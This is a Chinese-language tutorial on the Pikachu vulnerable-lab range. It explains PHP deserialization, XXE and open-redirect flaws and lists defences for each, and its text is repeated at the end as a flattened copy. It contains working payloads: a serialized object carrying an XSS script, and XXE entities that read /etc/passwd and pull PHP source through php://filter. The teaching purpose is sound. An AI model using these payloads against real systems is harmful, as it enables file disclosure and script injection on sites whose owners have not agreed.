Pikachu靶场-合集1
字数 1162 2025-08-24 20:49:22

PHP安全漏洞教学:反序列化、XXE与URL重定向

一、PHP反序列化漏洞

1. 序列化与反序列化基础

序列化(serialize()):将对象转换为可传输或存储的字符串格式

class S{
    public $test="pikachu";
}
$s=new S();
serialize($s); // 输出: O:1:"S":1:{s:4:"test";s:7:"pikachu";}

反序列化(unserialize()):将序列化字符串还原为对象

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; // 输出: pikachu

2. 序列化字符串结构解析

O:1:"S":1:{s:4:"test";s:7:"pikachu";}
  • O: 表示对象
  • 1: 对象名称长度
  • "S": 对象名称
  • 1: 对象属性数量
  • s:4:"test": 字符串类型,长度4,值为"test"
  • s:7:"pikachu": 字符串类型,长度7,值为"pikachu"

3. 危险魔法函数

当反序列化用户可控数据时,以下魔法函数可能被利用:

  • __construct(): 对象创建时调用
  • __destruct(): 对象销毁时调用
  • __toString(): 对象被当作字符串使用时调用
  • __sleep(): 对象序列化前调用
  • __wakeup(): 对象反序列化后立即调用

4. 漏洞利用示例

class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;
    }
}
$s = $_GET['test'];
@$unser = unserialize($s);

Payload构造

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

利用步骤

  1. 本地构造恶意序列化字符串:
class S {
    var $test = "<script>alert(/xss/)</script>";
}
$b = new S();
echo serialize($b);
// 输出: O:1:"S":1:{s:4:"test";s:29:"<script>alert(/xss/)</script>";}
  1. 将结果提交到漏洞网站触发XSS

二、XXE (XML外部实体注入)漏洞

1. XXE概述

"XML External Entity Injection",攻击者通过注入恶意XML实体内容,使服务器按照指定配置执行。

2. 基本XML示例

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq "gfzq">
]>
<name>&gfzq;</name>

3. 外部实体利用

使用SYSTEM关键词可从本地或远程读取数据:

读取本地文件

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq SYSTEM "file:///etc/passwd">
]>
<x>&gfzq;</x>

使用PHP过滤器读取PHP文件

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&gfzq;</x>

4. 危害

  • 读取任意文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网网站

三、不安全的URL重定向

1. 漏洞描述

当后端使用前端传入的URL参数作为跳转目的地而未经验证时,可能导致钓鱼攻击。

2. 漏洞示例

https://vulnerable-site.com/redirect.php?url=https://www.baidu.com

3. 危害

  • 钓鱼攻击:利用可信域名掩盖最终跳转的钓鱼网站
  • 信任滥用:用户可能因信任原域名而点击恶意链接

四、防护措施

1. 反序列化防护

  • 不要反序列化不可信数据
  • 使用json_encode()/json_decode()替代
  • 对魔法函数进行安全审查
  • 使用白名单验证反序列化类

2. XXE防护

  • 禁用外部实体解析
  • 使用最新版libxml(≥2.9.0默认禁用)
  • 过滤用户提交的XML数据
  • 禁用LIBXML_NOENT选项

3. URL重定向防护

  • 使用白名单验证重定向URL
  • 固定重定向目标,不使用用户参数
  • 对重定向进行明确提示
  • 实施CSRF防护

五、总结

  1. 反序列化漏洞:源于不当处理用户可控的序列化数据,结合魔法函数导致代码执行
  2. XXE漏洞:源于XML解析器配置不当,允许解析外部实体导致信息泄露
  3. URL重定向:源于未验证的重定向目标,导致钓鱼攻击风险

安全开发中应始终遵循"不信任用户输入"原则,对所有用户提供的数据进行严格验证和过滤。

PHP安全漏洞教学:反序列化、XXE与URL重定向 一、PHP反序列化漏洞 1. 序列化与反序列化基础 序列化(serialize()) :将对象转换为可传输或存储的字符串格式 反序列化(unserialize()) :将序列化字符串还原为对象 2. 序列化字符串结构解析 O : 表示对象 1 : 对象名称长度 "S" : 对象名称 1 : 对象属性数量 s:4:"test" : 字符串类型,长度4,值为"test" s:7:"pikachu" : 字符串类型,长度7,值为"pikachu" 3. 危险魔法函数 当反序列化用户可控数据时,以下魔法函数可能被利用: __construct() : 对象创建时调用 __destruct() : 对象销毁时调用 __toString() : 对象被当作字符串使用时调用 __sleep() : 对象序列化前调用 __wakeup() : 对象反序列化后立即调用 4. 漏洞利用示例 Payload构造 : 利用步骤 : 本地构造恶意序列化字符串: 将结果提交到漏洞网站触发XSS 二、XXE (XML外部实体注入)漏洞 1. XXE概述 "XML External Entity Injection",攻击者通过注入恶意XML实体内容,使服务器按照指定配置执行。 2. 基本XML示例 3. 外部实体利用 使用 SYSTEM 关键词可从本地或远程读取数据: 读取本地文件 : 使用PHP过滤器读取PHP文件 : 4. 危害 读取任意文件 执行系统命令 探测内网端口 攻击内网网站 三、不安全的URL重定向 1. 漏洞描述 当后端使用前端传入的URL参数作为跳转目的地而未经验证时,可能导致钓鱼攻击。 2. 漏洞示例 3. 危害 钓鱼攻击:利用可信域名掩盖最终跳转的钓鱼网站 信任滥用:用户可能因信任原域名而点击恶意链接 四、防护措施 1. 反序列化防护 不要反序列化不可信数据 使用 json_encode() / json_decode() 替代 对魔法函数进行安全审查 使用白名单验证反序列化类 2. XXE防护 禁用外部实体解析 使用最新版libxml(≥2.9.0默认禁用) 过滤用户提交的XML数据 禁用 LIBXML_NOENT 选项 3. URL重定向防护 使用白名单验证重定向URL 固定重定向目标,不使用用户参数 对重定向进行明确提示 实施CSRF防护 五、总结 反序列化漏洞 :源于不当处理用户可控的序列化数据,结合魔法函数导致代码执行 XXE漏洞 :源于XML解析器配置不当,允许解析外部实体导致信息泄露 URL重定向 :源于未验证的重定向目标,导致钓鱼攻击风险 安全开发中应始终遵循"不信任用户输入"原则,对所有用户提供的数据进行严格验证和过滤。